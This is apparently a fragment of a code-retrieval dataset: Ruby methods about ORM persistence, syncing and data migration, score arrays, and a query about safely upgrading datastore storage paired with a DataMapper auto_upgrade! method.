end\n\n entities_with_changed_tags.values.each do |entity|\n entity.save\n end\n\nend", "def entities; end", "def clean_database\n [Entry, Room, User].each do |model|\n model.delete_all\n end\nend", "def store; end", "def store; end", "def store; end", "def batch_replace(docs)\n if docs.blank?\n if _assigning? && !empty?\n _base.delayed_atomic_sets.delete(path)\n clear_atomic_path_cache\n _base.add_atomic_unset(first)\n target_duplicate = _target.dup\n pre_process_batch_remove(target_duplicate, :delete)\n post_process_batch_remove(target_duplicate, :delete)\n else\n batch_remove(_target.dup)\n end\n elsif _target != docs\n _base.delayed_atomic_sets.delete(path) unless _assigning?\n docs = normalize_docs(docs).compact\n _target.clear and _unscoped.clear\n _base.delayed_atomic_unsets.delete(path)\n clear_atomic_path_cache\n inserts = execute_batch_set(docs)\n add_atomic_sets(inserts)\n end\n end", "def sync\n OPENERP_MAPPING_SEED.map do |openerp_model, rails_data|\n rails_model = rails_data.camelize.constantize\n \n print_syncing(openerp_model, rails_model)\n rails_model.sync(openerp_model) \n\n end\n end", "def replace(models)\n ids = models.map(&:id)\n\n model.synchronize do\n redis.queue(\"MULTI\")\n redis.queue(\"DEL\", key)\n ids.each { |id| redis.queue(\"RPUSH\", key, id) }\n redis.queue(\"EXEC\")\n redis.commit\n end\n end", "def prepare_data(results_hash)\n\n @entities_store = {}\n @generic_relations_store = {}\n @events_store = {}\n # find all Entities in response\n @entities_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"entities\"}\n # find all GenericRelations in response\n @generic_relations_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"relations\" &&\n hash[\"_type\"] == \"GenericRelations\"}\n # find all Events in response\n @events_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"relations\" &&\n hash[\"_type\"] != \"GenericRelations\"}\n\n Ohm.redis = Redic.new(REDIS)\n\n\n #for each Entity find all related Relations and Events and store them to Ohm/Redis\n @entities_store.each_pair do |k, v|\n\n entity_set = EntityModel.find(calais_id: k)\n\n if entity_set.size > 0 #entity already exists in store\n entity = entity_set.first\n k = entity.calais_id\n else #entity doesn't exist in store\n entity = EntityModel.create(:name => v['name'], :type => v['_type'], :calais_id => k)\n entity.save\n end #if\n\n\n #get all referenced relations\n find_in_relations(k).each do |obj|\n\n found_rel = get_relation(obj[0])\n if found_rel\n\n found_rel.subject = convert_to_hash(found_rel.subject)\n found_rel.object = convert_to_hash(found_rel.object)\n\n relation = EntityModel::RelationModel.create(:subject => found_rel.subject,\n :object => found_rel.object,\n :verb => found_rel.verb,\n :detection => found_rel.detection,\n :calais_id => obj[0])\n entity.relations.add(relation)\n end #if\n end #each\n #get all referenced events\n find_in_events(k).each do |obj|\n found_event = get_event(obj[0])\n attribs = {}\n if found_event\n\n found_event.each_pair do |key, val|\n\n key = key.to_s.slice(1, key.length-1)\n attribs[key] = val\n\n end #block\n\n event = EntityModel::EventModel.create(:calais_id => obj[0], :info_hash => attribs)\n entity.events.add(event)\n\n end #if\n\n end #each\n end #each_pair\n end", "def replace(models)\n ids = models.map(&:id)\n\n model.synchronize do\n redis.queue(\"MULTI\")\n redis.queue(\"DEL\", key)\n ids.each { |id| redis.queue(\"SADD\", key, id) }\n redis.queue(\"EXEC\")\n redis.commit\n end\n end", "def save\n unless @added.empty? && @deleted.empty?\n # We cannot reuse the allocated space, since the data\n # that is copied would be destroyed.\n if polymorphic?\n offset = @database.allocate_polymorphic_join_elements(@size)\n else\n offset = @database.allocate_join_elements(@size)\n end\n pairs =\n @size.times.map do |index|\n rod_id = id_for(index)\n if rod_id.is_a?(Model)\n object = rod_id\n if object.new?\n if polymorphic?\n object.reference_updaters <<\n ReferenceUpdater.for_plural(self,index,@database)\n else\n object.reference_updaters <<\n ReferenceUpdater.for_plural(self,index,@database)\n end\n next\n else\n rod_id = object.rod_id\n end\n end\n [rod_id,index]\n end.compact\n if polymorphic?\n pairs.each do |rod_id,index|\n class_id = (rod_id == 0 ? 0 : class_for(index).name_hash)\n @database.set_polymorphic_join_element_id(offset,index,rod_id,class_id)\n end\n else\n pairs.each do |rod_id,index|\n @database.set_join_element_id(offset,index,rod_id)\n end\n end\n @offset = offset\n @added.clear\n @deleted.clear\n @map.clear\n @original_size = @size\n end\n @offset\n end", "def seed_all\n current_or_create_new_misc\n current_or_create_new_institutions\n current_or_create_new_williams_dining_opps\n current_or_create_new_williams_dining_places\n current_or_create_new_dining_opps\n seed_app_dining_periods\n seed_williams_rss_scraping\nend", "def restore(data)\n by_persistence_key = {}\n data.each { |t|\n id = t[:_id]\n if id.index('@')\n # non-singleton\n key = id[0..id.index('@')-1]\n tc = @thingClasses[key]\n if tc\n by_persistence_key[id] = instantiate_class(tc)\n else\n puts \"No thing class #{key}.\"\n end\n elsif id.start_with?(\"player\")\n by_persistence_key[id] = instantiate_player(t[:name])\n else\n # singleton\n by_persistence_key[id] = find_singleton(id)\n puts \"did not load #{id}\" unless by_persistence_key[id]\n end\n }\n data.each { |vs|\n id = vs[:_id]\n t = by_persistence_key[id]\n t.restore(vs, by_persistence_key) if t\n }\n # if we didn't have a record of something, tell it has just been created\n @singletons.each { |s|\n s.on_world_create unless by_persistence_key[s.persistence_key]\n }\n end", "def update_list\n models = ActiveRecord::Base.connection.tables.collect{|t| t.underscore.singularize.camelize}\n models.each do |m|\n if Supermodel.find(:all, conditions: {name: m}).count == 0\n Supermodel.create(name: m, visible: false)\n end\n end\n client_models = [\"Role\", \"Page\", \"Announcement\", \"Event\", \"Partial\", \"User\"]\n client_models.each do |cm|\n instance = Supermodel.find_by_name(cm)\n instance.update_attributes(visible: true)\n end\n end", "def delay_save\n \n return if @all_fields_and_values.nil?\n \n # If there is a dynamo_field_value for one of this model's fields then there will be for all. Query for it here\n # and you'll only do it once, but move it into the loop and you'll count for each dynamo_field.\n first = @all_fields_and_values[0]\n count = DynamoFieldValue.count(:conditions=>\"model_id = #{self.id} AND dynamo_field_id=#{first[:dynamo_field].id}\")\n \n all_values = []\n @all_fields_and_values.each do |fv|\n # If count is 0 it means that no dynamo_field_values exist for this model so its brand new.\n if count == 0\n dfv = DynamoFieldValue.new(:dynamo_field_id=>fv[:dynamo_field].id, :model_id=>self.id, :created_at=>Time.now, :updated_at=>Time.now, \"#{fv[:dynamo_field].field_type}\".to_sym => fv[:value])\n all_values << build_insert_stmt(dfv)\n else\n # This is an existing set of values so we need to update.\n # Update is slower because we need to get the dynamo_field_values for this field so its extra queries\n dfv = fv[:dynamo_field].dynamo_field_values\n if dfv.blank?\n dfv = DynamoFieldValue.new(:dynamo_field_id=>fv[:dynamo_field].id, :model_id=>self.id, :created_at=>Time.now, :updated_at=>Time.now, \"#{fv[:dynamo_field].field_type}\".to_sym => fv[:value])\n all_values << build_insert_stmt(dfv)\n # If you don't clear the cache a second save on this instance won't see the newly created dynamo_field_value and it will insert it again.\n self.dynamo_cache=nil\n else\n # Find the dynamo_field_value we want to update.\n dfv = dfv.detect{|dyn_field_value| dyn_field_value.model_id == self.id}\n dfv.send(\"#{fv[:dynamo_field].field_type}=\", fv[:value])\n dfv.save!\n end\n end\n \n # Reset this now that we have processed all the insert / updates needed. If you don't \n # a double call to save could produce unexpected results.\n @all_fields_and_values = nil\n end\n \n return if all_values.empty?\n \n # improving performance by doing bulk inserts. The more dynamic fields the model has the more benefit this has over single inserts.\n bulk_insert_stmt = \"INSERT INTO `dynamo_field_values`(#{DynamoFieldValue.column_names.reject{ |field| field == 'id'}.join(',')}) VALUES #{all_values.join(',').gsub(/\"NULL\"/, 'NULL')}\"\n ActiveRecord::Base.connection.execute(bulk_insert_stmt)\n end", "def update_database\n word_ids.size.times do |i|\n hidden_ids.size.times do |j|\n set_strength(word_ids[i], hidden_ids[j], 0, weights_in[i][j])\n end\n end\n\n hidden_ids.size.times do |j|\n url_ids.size.times do |k|\n set_strength(hidden_ids[j], url_ids[k], 1, weights_out[j][k])\n end\n end\n\n commit\n end", "def persist\n model.update persistance_data\n end", "def test_resets_to_min_pk_with_default_pk_and_sequence\n @instances.each do |instance|\n model = instance.class\n model.delete_all\n model.connection.reset_pk_sequence!(model.table_name)\n\n instance.save!\n assert_equal 1, instance.id, \"Sequence reset for #{model.table_name} failed.\"\n end\n end", "def single_object_db; end", "def sync\n model_ids_that_exist = []\n\n @model_class.all.each do |model|\n model_ids_that_exist << model.id\n if are_different?(@database_event_registry.event_for(model), model)\n create_or_recreate_event(model)\n end\n end\n @database_event_registry.unregister_all_except(model_ids_that_exist)\n end", "def finalize\n @entities.clear\n end", "def sync_redis\n\n existing_alternatives = load_alternatives_from_redis\n sync_needed = !(existing_alternatives == @alternatives.map(&:name))\n if sync_needed\n #Delete past alternative fields for this experiment\n existing_alternatives.map{|alt_name| Alternative.new(alt_name,@name)}.each(&:delete)\n # Delete past alternative list for this experiment\n Thumbal.redis.del(@name)\n # Add current alternatives to alternative list\n @alternatives.reverse.each do |a|\n Thumbal.redis.lpush(@name, a.name)\n a.set_unique_id self.version\n end\n end\n sync_needed\n end", "def rebuild(table); end", "def persist\n prepare do\n if document[field]\n values = document.send(field)\n value > 0 ? values.pop : values.shift\n values.tap do\n collection.update(document.atomic_selector, operation(\"$pop\"), options)\n document.remove_change(field) if document.persisted?\n end\n end\n end\n end", "def replace(models)\n ids = models.map(&:id)\n redis.del(key)\n redis.sadd(key, ids) unless ids.empty?\n end", "def test_resets_to_min_pk_with_specified_pk_and_sequence\n @instances.each do |instance|\n model = instance.class\n model.delete_all\n model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)\n\n instance.save!\n assert_equal 1, instance.id, \"Sequence reset for #{model.table_name} failed.\"\n end\n end", "def migrate(_key, _options); end", "def nullify_keys(records)\n if (user = acting_user)\n records.each { |r| r.user_changes!(user, @reflection.primary_key_name => nil) if r.is_a?(Hobo::Model) }\n end\n\n # Normal ActiveRecord implementatin\n ids = quoted_record_ids(records)\n @reflection.klass.update_all(\n \"#{@reflection.primary_key_name} = NULL\", \n \"#{@reflection.primary_key_name} = #{@owner.quoted_id} AND #{@reflection.klass.primary_key} IN (#{ids})\"\n )\n end", "def enhance_data(arr)\n puts \"Enhancing data\"\n valscount = {}\n\n####\n if (use_store())\n require 'lib/four_store/store'\n store = FourStore::Store.new 'http://dbtune.org/bbc/programmes/sparql/'\n\n\n arr.each do |pid|\n\n q = \"SELECT ?vals WHERE\n{{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/masterbrand> ?vals .} UNION\n{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/category> ?vals . } UNION \n{<http://www.bbc.co.uk/programmes/#{pid}#programme> \n<http://purl.org/ontology/po/genre> ?vals . } UNION \n{?vals <http://purl.org/ontology/po/episode>\n<http://www.bbc.co.uk/programmes/#{pid}#programme> . }}\"\n\n puts \"Making query for #{pid}\\n#{q}\"\n response = store.select(q)\n\n response.each do |r|\n url = r[\"vals\"]\n if(valscount[url]==nil)\n valscount[url]=1\n else\n count = valscount[url]\n count = count+1\n valscount[url]=count\n end\n end\n sleep 2\n end\n else\n#not store\n arr.each do |pid|\n\n url = \"http://www.bbc.co.uk/programmes/#{pid}.rdf\"\n puts \"pid url is #{url}\"\n #occassionally we get a duff pid\n\n m = ModelFactory.createDefaultModel()\n\n begin \n m.read(url)\n \n q = \"SELECT ?vals WHERE\n{{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/masterbrand> ?vals .} UNION\n{<http://www.bbc.co.uk/programmes/#{pid}#programme>\n<http://purl.org/ontology/po/category> ?vals . } UNION \n{<http://www.bbc.co.uk/programmes/#{pid}#programme> \n<http://purl.org/ontology/po/genre> ?vals . } UNION \n{?vals <http://purl.org/ontology/po/episode>\n<http://www.bbc.co.uk/programmes/#{pid}#programme> . }}\"\n puts \"Making query for #{pid}\\n#{q}\"\n\n qexec = QueryExecutionFactory.create(q, m) ;\n response = qexec.execSelect()\n# ResultSetFormatter.out(java.lang.System.out, response)\n response.each do |r|\n url = r.get(\"vals\").to_s\n puts \"got result #{url}\"\n if(valscount[url]==nil)\n valscount[url]=1\n else\n count = valscount[url]\n count = count+1\n valscount[url]=count\n end\n end\n rescue\n puts \"duff url, continuing\"\n end\n sleep 2\n end\n\n end\n pp valscount\n####\n return valscount\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def expire_all\n #Load all the models\n Dir.glob(Rails.root + '/app/models/*.rb').each {|file| require file}\n \n ActiveRecord::Base.subclasses.each do |cls|\n expire_tags cls\n\n pk_name = cls.primary_key\n\n return if cls.unscoped.first.nil? #There is no sence in continuing, if model is empty\n\n last_id = cls.order(pk_name).last.try(pk_name.to_sym)\n\n #hardcoded value for first record\n first_id = 1\n\n (first_id..last_id).each do |id|\n expire_tags({:cls => cls, :id => id})\n end\n end\n end", "def refresh\n # re-download the model from the server\n set_model\n end", "def _delete_without_checking\n if sql = (m = model).fast_instance_delete_sql\n sql = sql.dup\n ds = use_server(m.dataset)\n ds.literal_append(sql, pk)\n ds.with_sql_delete(sql)\n else\n _delete_dataset.delete \n end\n end", "def _delete_without_checking\n if sql = (m = model).fast_instance_delete_sql\n sql = sql.dup\n ds = use_server(m.dataset)\n ds.literal_append(sql, pk)\n ds.with_sql_delete(sql)\n else\n _delete_dataset.delete \n end\n end", "def run\n # Ensure this is never run with a dirty in-memory shard cache\n ::Switchman::Shard.clear_cache\n migrate_strands\n migrate_everything\n end", "def teardown\n super\n delete_goo_models(LinkedData::Models::Review.all)\n delete_goo_models(LinkedData::Models::Ontology.all)\n delete_goo_models(LinkedData::Models::User.all)\n @review_params = nil\n @user = nil\n @ont = nil\n end", "def non_elimination\n\t 3.times do |n|\n\t registers.each do |registrant|\n\t matches.build(:round => n + 1, :register_id => registrant.id).save\n\t end\n\t end\n\t end", "def unlink!(replace_with: nil)\n cached_daos = row.cache[model.cache_key(pluralize: true)]\n\n # remove from cache with pluralized key\n cached_daos.delete self\n cached_daos << replace_with\n\n # set any dao to cache with singular key (for convenience)\n row.cache[model.cache_key(pluralize: false)] = cached_daos.first\n end", "def save(*)\n update_magic_properties\n clear_association_cache\n create_or_update\n end", "def write_model model_name, class_name\n puts model_name\n ret=\"\"\n model = Model.new(model_name,class_name) \n data_types= model.get_datatypes\n #build hash\n model.get_rows.each do |item|\n line = Hash.new\n subline = Hash.new\n #and now add all mapping-attributes\n remove =Array.new\n model.model_attributes.each do |k,v|\n # if k.to_s.include?(\"->\")\n if v.to_s.include?(\"*\") || v.to_s[0..9]==\"new_model(\"\n\n remove.push(k.to_s) unless remove.index(k.to_s)\n m_class,field=v.to_s.split(\"*\")\n ref_pred,ref_model=k.to_s.split\"->\"\n if v.to_s[0..5]==\"MODEL(\"\n m_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(m_class.to_s).get_rows\n else\n submodel= eval(\"item.#{m_class.to_s.downcase}\")\n end\n submodel.each do |subitem|\n subline[:id] = eval(\"item.#{model.get_key}\")\n subline[k] = eval(\"subitem.#{field}\")\n #extract_id_line(m.model_attributes, subline, subitem, Array.new)\n ret<<make_triples(subline, class_name, false,Array.new,false )\n subline.clear\n end\n else\n write_line = true;\n if v.to_s.include? \".\"\n write_line = nil unless eval(\"item.\"+v.to_s.downcase.split(\".\")[0])\n end\n begin\n if v.to_s[0..5]==\"CONST(\"\n line[k.to_s],data_types[k.to_s]= model.get_const(v)\n #datatype to uri format\n if data_types[k.to_s]==\"LINK\"\n line[k.to_s] =uri line[k.to_s]\n data_types.delete k.to_s\n @object_properties[k.to_s]=\"t\"\n else\n data_types[k.to_s] = uri(data_types[k.to_s])\n end\n else\n line[k.to_s]=eval(\"item.\"+v.to_s) if write_line\n end\n rescue Exception => ex\n line[k.to_s]=v.to_s if write_line\n end\n end\n # end\n end\n extract_id_line(model.model_attributes, line, item,data_types)\n remove.each { |rem_attrib| line.delete(rem_attrib) }\n #get triples of row\n ret<<make_triples(line, class_name , \"\", data_types)\n #render :text => t.make_triples(c1, controller , \"\", t.dbd_types)\n end\n ret\n end", "def seed_reset_all_model_column_info\r\n model_classes = ActiveRecord::Base.descendants\r\n model_classes.each do |klass|\r\n next unless klass.name.match('Thinkspace')\r\n klass.reset_column_information\r\n end\r\nend", "def bulk_generate\n\n end", "def _refresh_set_values(hash)\n @associations.clear if @associations\n super\n end", "def populate\n raise NotImplementedError\n end", "def expand\n inst = model.new(api)\n inst.data[:id] = self.id\n inst.reload\n end", "def reload!\n Aura.models.each { |m| m.send :set_columns, nil }\n end", "def sync\n model_ids_that_exist = []\n\n @model.all.each do |db_task|\n model_ids_that_exist << db_task.id\n \n if !event_exists_for_task(db_task) || task_has_changed(db_task)\n recreate_event_for_database_task(db_task)\n end\n end\n\n remove_deleted_database_tasks(model_ids_that_exist)\n end", "def substitute(replacement)\n if replacement\n new_docs, docs = replacement.compact, []\n new_ids = new_docs.map(&:_id)\n remove_not_in(new_ids)\n new_docs.each do |doc|\n docs.push(doc) if doc.send(foreign_key) != _base.send(_association.primary_key)\n end\n concat(docs)\n else\n purge\n end\n self\n end", "def clean_db\n\n puts \"Caching wikipedia links\"\n @wikipedia_cache = {}\n Artist.all\n .where('wikilink IS NOT NULL')\n .pluck( 'name' , 'wikilink' )\n .each { |result| @wikipedia_cache[ key_name(result[0]) ] = result[1] }\n\n puts \"Cleaning db\"\n PlayerState.delete_all\n PlayListSong.delete_all\n Song.delete_all\n Album.delete_all\n Artist.delete_all\n end", "def flush rec, next_id, tick\n ## if threshold etc.\n db.transaction do\n while rec\n n = db[:tuples].filter(id: rec.id).update(count: rec.count)\n if n == 0\n db[:tuples].insert(id: rec.id, count: rec.count, packed: rec.packed)\n end\n rec.unmark_to_save\n rec = rec.next_rec_to_save\n end\n db[:global].update(next_id: next_id, tick: tick)\n end\n ## rescue ???\n end", "def reload_after_odata(options = nil)\n # aggregations.rb\n clear_aggregation_cache\n\n # autosave_association.rb\n @marked_for_destruction = false\n @destroyed_by_association = nil\n\n # associations.rb\n clear_association_cache\n\n # persistence.rb (only 1 line of code chaned in here)\n self.class.connection.clear_query_cache\n\n fresh_object =\n if options && options[:lock]\n self.class.unscoped { self.class.lock(options[:lock]).find(id) }\n else\n # Remove unscope here\n self.class.find(id)\n end\n\n @attributes = fresh_object.instance_variable_get(\"@attributes\")\n @new_record = false\n\n # attribute_methods/dirty.rb\n @previous_mutation_tracker = nil\n clear_mutation_trackers\n @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new\n\n self\n end", "def call\n log.info 'loading ..'\n validate_keys_are_correct\n\n # maintain key ordering\n json.keys.each { |entity| db.tables[entity] ||= {} } # JIT initialization\n\n # load in this order to validate playlists (users and songs need to be loaded first)\n EXPECTED_MODELS.each { |entity| insert_values_into_db_cache(entity, json[entity]) }\n end", "def persist\n prepare do\n unless updates.empty?\n collection.find(selector).update(updates)\n conflicts.each_pair do |key, value|\n collection.find(selector).update({ key => value })\n end\n end\n end\n end", "def retire\n\n end", "def setup\n db = CouchRest.database!(\"http://127.0.0.1:5984/couchdb_test\")\n\n (1..@num_packs).each do |num_pack|\n elems = []\n (1..@num_items).each do |num_item|\n elems << { :name => Faker::Name.name, :tags => random_tags(), :created_at => Time.now() }\n end\n\n response = db.bulk_save(elems)\n puts response\n end\n\n end", "def save_self(safe = true)\n super && embedments.values.each do |e|\n e.loaded?(self) && Array(e.get!(self)).each { |r| r.original_attributes.clear }\n end\n end", "def create_entities\n results = []\n if @attributes.has_key?(:entities)\n @attributes[:entities].each do |result|\n results.push Muddyit::Collections::Collection::Entities::Entity.new(@muddyit, result.merge!(:collection => @attributes[:collection]))\n end\n @attributes[:entities] = results\n end\n end", "def clear_all_training_data\n @redis.flushdb\n end", "def reset_instance_dataset\n Sequel.synchronize{@finders.clear} if @finders && !@finders.frozen?\n @instance_dataset = @dataset.limit(1).naked.skip_limit_check if @dataset\n end", "def cleanup\n @models.reverse_each(&:destroy_all)\n end", "def reload(*)\n result = super\n\n self.class.relations_of_type(:has_many).each do |klass|\n attr_name = klass.to_s.pluralize.underscore\n instance_variable_set(\"@#{attr_name}\", nil)\n end\n\n result\n end" ]
[ "0.5940194", "0.5831033", "0.58073866", "0.56877583", "0.5611203", "0.5587168", "0.54824495", "0.5469023", "0.5445296", "0.54272586", "0.5425967", "0.5419828", "0.54131895", "0.540629", "0.5402696", "0.53955317", "0.537871", "0.53362644", "0.53297544", "0.5322517", "0.53199834", "0.53060716", "0.5296891", "0.5296891", "0.5296891", "0.5295395", "0.5276554", "0.52743006", "0.52520895", "0.52469933", "0.52454334", "0.5229575", "0.5222123", "0.5203667", "0.5203029", "0.5201791", "0.51964206", "0.5162035", "0.5153494", "0.51367545", "0.5121922", "0.51199335", "0.5118027", "0.5118027", "0.5118027", "0.5117669", "0.51170903", "0.5111446", "0.5086225", "0.5083365", "0.50789374", "0.50750977", "0.5068305", "0.5059748", "0.5058067", "0.5056994", "0.5054336", "0.5048632", "0.5047398", "0.50391513", "0.50289196", "0.50204045", "0.5015481", "0.50079405", "0.5007796", "0.49977162", "0.4993643", "0.49872115", "0.49849296", "0.498366", "0.4983083", "0.49826294", "0.4980106", "0.4980106", "0.4979406", "0.49777225", "0.497666", "0.49745956", "0.49735558", "0.4963836", "0.4959104", "0.49544948", "0.49337023", "0.49313724", "0.49290645", "0.49285895", "0.49283335", "0.49272385", "0.49217463", "0.49171454", "0.4909309", "0.49086666", "0.4907892", "0.49058822", "0.49039808", "0.49013156", "0.48928306", "0.48922166", "0.488928", "0.48858103", "0.4885619" ]
0.0
-1
Safely migrates the datastore to match the model preserving data already in the datastore
def auto_upgrade!(repository_name = self.repository_name) assert_valid if base_model == self repository(repository_name).upgrade_model_storage(self) else base_model.auto_upgrade!(repository_name) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def migrate\n DataMapper.auto_migrate!\n end", "def migrate(_key, _options); end", "def migrate\n raise NotImplementedError\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def upgrade_model_storage(model)\n model = Persevere.enhance(model)\n name = self.name\n properties = model.properties_with_subclasses(name)\n \n DataMapper.logger.debug(\"Upgrading #{model.name}\")\n \n if success = create_model_storage(model)\n return properties\n end\n \n new_schema_hash = model.to_json_schema_hash()\n current_schema_hash = get_schema(new_schema_hash['id'])[0]\n # TODO: Diff of what is there and what will be added.\n\n new_properties = properties.map do |property|\n prop_name = property.name.to_s\n prop_type = property.type\n next if prop_name == 'id' || \n (current_schema_hash['properties'].has_key?(prop_name) && \n new_schema_hash['properties'][prop_name]['type'] == current_schema_hash['properties'][prop_name]['type'] )\n property\n end.compact\n \n return new_properties unless update_schema(new_schema_hash) == false\n return nil\n end", "def prevent_double_save_bug\n false if self.persisted?\n end", "def persist\n model.update persistance_data\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def migrate_model(pg_model, mongo_model, transform = nil)\n attributes = pg_model.attribute_names\n ActiveRecord::Base.transaction do\n mongo_model.collection.find.batch_size(100).each do |obj|\n pg_attrs = obj.slice(*attributes)\n\n # If a model specific transform is required, do it here\n pg_attrs = transform.call(pg_attrs) if transform.present?\n\n pg_model.create! pg_attrs\n end\n\n if pg_model.count != mongo_model.count\n raise \"PG and Mongo counts are in disagreement; aborting\"\n end\n end\n\n puts \"#{pg_model.count} migrated to pg\"\nend", "def migrate! record\n if Swift::Associations::BelongsTo.get_association_index(record).empty?\n migrate_record(record)\n else\n migrate_associations(record)\n end\n end", "def migrate_entities\n\n entity_keys = @source_redis.keys('entity:*')\n\n entity_keys.each do |entity_key|\n\n # TODO fix regex, check current code\n raise \"Bad regex for '#{entity_key}'\" unless entity_key =~ /\\Aentity:(#{ID_PATTERN_FRAGMENT})\\z/\n\n entity_id = $1\n\n entity_name = @source_redis.hget(entity_key, 'name')\n\n entity = Flapjack::Data::Entity.new(:id => entity_id, :name => entity_name)\n entity.save\n raise entity.errors.full_messages.join(\", \") unless entity.persisted?\n end\n\nend", "def migrate(key, options); end", "def migratevm_datastore\n begin\n vm.storage.perDatastoreUsage[0].datastore.name\n rescue Exception => e\n fail e.message\n end\n\n end", "def normalize!\n normalize\n save\n end", "def normalize!\n normalize\n save\n end", "def test_model_stored\r\n model=Model[1]\r\n assert_equal(@mymodel, model)\r\n \r\n newmodel = Model.new(2, 'short term') \r\n assert_equal(Model[2], newmodel)\r\n Model.delete(newmodel)\r\n\r\n begin\r\n Model[newmodel.ident]\r\n assert(false)\r\n rescue EvidenceError\r\n assert(true)\r\n end\r\n end", "def activerecord_persist\n record.save(validate: false)\n end", "def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end", "def migrate_current_entities_and_checks\n\n current_entity_names = @source_redis.zrange('current_entities', 0, -1)\n\n current_entity_names.each do |entity_name|\n entity = find_entity(:name => entity_name)\n entity.enabled = true\n entity.save\n end\n\n current_checks_keys = @source_redis.keys('current_checks:*')\n\n current_checks_keys.each do |current_checks_key|\n\n raise \"Bad regex\" unless current_checks_key =~ /\\Acurrent_checks:(#{ENTITY_PATTERN_FRAGMENT})\\z/\n\n entity_name = $1\n\n check_names = @source_redis.zrange(current_checks_key, 0, -1)\n\n check_names.each do |check_name|\n check = find_or_create_check(entity_name, check_name)\n check.enabled = true\n check.save\n end\n\n end\n\nend", "def persisted?; end", "def persisted?; end", "def migrate_data!\n return false if !self.data\n\n js = JSON.parse(self.data)\n return false if !js\n\n self.name = js.delete(\"Name\")\n self.notes = js.delete(\"Notes\")\n self.fields = js.delete(\"Fields\")\n\n if self.type == TYPE_LOGIN\n js[\"Uris\"] = [\n { \"Uri\" => js[\"Uri\"], \"Match\" => nil },\n ]\n js.delete(\"Uri\")\n end\n\n # move the remaining fields into the new dedicated field based on the type\n fmap = {\n TYPE_LOGIN => \"login\",\n TYPE_NOTE => \"securenote\",\n TYPE_CARD => \"card\",\n TYPE_IDENTITY => \"identity\",\n }\n self.send(\"#{fmap[self.type]}=\", js)\n\n self.save || raise(\"failed migrating #{self.inspect}\")\n true\n end", "def auto_migrate!\n DataMapper.auto_migrate!(name)\n end", "def check_and_save(data)\n\n begin\n data.save!\n data\n rescue ActiveRecord::RecordInvalid\n data = data.refresh!\n data\n end\n \n end", "def auto_upgrade!\n DataMapper.auto_upgrade!(name)\n end", "def migrate?\n raise NotImplementedError\n end", "def sync! # semi-public.\n source = deprecate_potential_readers_used_in_sync_or_save(fields) # TODO: remove in 1.1.\n\n input_representer = mapper.new(source).extend(InputRepresenter) # FIXME: take values from self.fields!\n\n input = input_representer.to_hash\n\n mapper.new(aliased_model).extend(Writer).from_hash(input)\n end", "def _sync\n # Reset the stash map to ensure that it's reset before the next\n # transaction is being started.\n @_stash_map = nil\n\n db_obj = {\n 'class_id' => @store.class_map.class_to_id(self.class.to_s),\n 'data' => _serialize\n }\n @store.db.put_object(db_obj, @_id)\n end", "def persist; end", "def persist; end", "def persist; end", "def persisted?; false; end", "def flag_for_upgrade!\n self.upgrade_needed = true\n save(:validate => false)\n end", "def recreate_from(obj)\n keys = self.key_column_names\n args = {}\n if obj.respond_to?(:enterprise_id) and obj.respond_to?(:uid)\n args[keys.delete(:enterprise_id)] = obj.enterprise_id\n if keys.length == 1\n args[keys.first] = obj.uid\n self.get_cached(args)\n else\n puts keys.to_a.to_s\n raise NotImplementedError, 'See octocore/models.rb'\n end\n end\n end", "def staging\n raise InvalidDbError if @stale\n super\n end", "def upgrade_model_storage(repository, model)\n add_sequences(repository, model)\n super\n end", "def migratevm_datastore=(value)\n Puppet.notice \"A Virtual Machine is being migrated from datastore '#{get_vm_ds}' to '#{value}'.\"\n begin\n ds_view = get_ds_view(value)\n raise Puppet::Error, \"Unable to find the target datastore '#{value}' because the target datastore is either invalid or does not exist.\" unless ds_view\n relocate_vm(:ds_view => ds_view)\n rescue Exception => e\n fail \"Unable to perform the Virtual Machine migration operation because of the following error:\\n #{e.message}\"\n end\n\n end", "def to_persistent!(existing = nil)\n if existing\n self.id = existing.id\n self.created_at = existing.created_at if respond_to?(:created_at)\n self.updated_at = existing.updated_at if respond_to?(:updated_at)\n\n clear_changes_information\n else\n restore_before_to_new_record_values\n\n clear_attribute_change(:created_at) if respond_to?(:created_at)\n clear_attribute_change(:updated_at) if respond_to?(:updated_at)\n end\n @new_record = false\n true\n end", "def sync\n model_ids_that_exist = []\n\n @model.all.each do |db_task|\n model_ids_that_exist << db_task.id\n \n if !event_exists_for_task(db_task) || task_has_changed(db_task)\n recreate_event_for_database_task(db_task)\n end\n end\n\n remove_deleted_database_tasks(model_ids_that_exist)\n end", "def sneaky_save!\n sneaky_create_or_update\n end", "def make_store_unknown\n self.store_id = nil\n save!\n end", "def auto_migrate_up!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).create_model_storage(self)\n else\n base_model.auto_migrate_up!(repository_name)\n end\n end", "def persist\n prepare do\n unless updates.empty?\n collection.find(selector).update(updates)\n conflicts.each_pair do |key, value|\n collection.find(selector).update({ key => value })\n end\n end\n end\n end", "def to_new_record!\n store_before_to_new_record_values\n reset_persistence_values\n @new_record = true\n end", 